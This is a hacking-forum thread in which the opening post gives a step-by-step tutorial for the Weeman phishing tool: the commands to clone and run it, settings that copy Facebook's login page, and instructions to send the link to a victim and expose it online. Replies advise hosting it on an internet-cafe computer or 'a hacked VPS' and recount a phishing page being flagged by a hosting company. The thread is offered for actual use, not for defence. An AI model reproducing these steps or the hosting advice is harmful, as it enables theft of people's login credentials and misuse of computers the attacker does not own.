[D@rk TruTH]

This article was written for my blog and I am sharing it with you people...
Today I am posting a tutorial related to a tool called Weeman. I found this tool while searching for some other tools and I found this very useful.

What is Weeman
Weeman is HTTP server written in python for creating phishing pages.

How Weeman Works
Create fake html page.
Wait for clients
Grab the data (POST).
Try to login the client to the original page

Things we need
Any Linux operating system with Python 2.7 installed. In my case I am using Kali Linux 2.
Internet Connection.

Follow the given tutorial
1. First we will download the Weeman tool, for this open your terminal and  type the following commands

git clone https://github.com/Hypsurus/weeman

2. Now change the directory to download weeman directory.

cd weeman

3. Open weeman using following command

./weeman.py

4. Now type the following commands to create the phishing page of the website.

set url http://www.facebook.com
set port 8080
set action_url http://www.facebook.com
run

here you can change http://www.facebook.com to any other site which you want to clone.

5. Now send the your ipaddress as a link to your victim.

Example 192.168.2.13:8080

You can also use your public ip to make it work on WAN or internet but you have to port forward your router.

Note:
1. Make sure net is connected.
2. Python must be installed.

[dangermouse]

CAn you set this up on a public computer?

[Bish0pQ]

Nice tutorial, didn't see this before. I guess I missed it, too bad since its a nice formatted tutorial. Thank you for the share.

CAn you set this up on a public computer?

Of course you could, depends on the security of the PC though but why would you want to set this up on a public computer? Just use a VPS or something? Otherwise you might have to go everytime to the computer to get the logs you collected.

[dangermouse]

Nice tutorial, didn't see this before. I guess I missed it, too bad since its a nice formatted tutorial. Thank you for the share.

CAn you set this up on a public computer?

Of course you could, depends on the security of the PC though but why would you want to set this up on a public computer? Just use a VPS or something? Otherwise you might have to go everytime to the computer to get the logs you collected.

I have a internet cafe around the corner that is never busy. I thought it would be more secure that way to just intermittently collect the logs

[Bish0pQ]

Nice tutorial, didn't see this before. I guess I missed it, too bad since its a nice formatted tutorial. Thank you for the share.

CAn you set this up on a public computer?

Of course you could, depends on the security of the PC though but why would you want to set this up on a public computer? Just use a VPS or something? Otherwise you might have to go everytime to the computer to get the logs you collected.

I have a internet cafe around the corner that is never busy. I thought it would be more secure that way to just intermittently collect the logs

You also have to check things like opening hours. For example if its only open during the day, they will probably shutdown the PC's at night, that way you would have to set it up everyday again. If you have administrator access you could do more probable, like run it automatically. I would just recommend using a hacked VPS or something.

I don't really think that you have to secure it that good. I mean you only have to collect the logs when you set it up somewhere, if you use a VPN for that you will be already "safe".

[Amadeus]

Wouldn´t it just be easier to use kali and SEtoolkit ?

[Bish0pQ]

Wouldn´t it just be easier to use kali and SEtoolkit ?

Yes, SEToolkit is a pretty good tool as well BUT if you use that tool and upload it to some hosts it gets detected.
Not with all sites though. For example I uploaded a Facebook and Netflix phisher onto hostinger (a hosting company) and they flagged it right away and my account was banned without notice.

I don't know if this is the same with this tool though.

[Dismas]

Reminded me of the other Weeman.

[D@rk TruTH]

Reminded me of the other Weeman.

Jack - ASS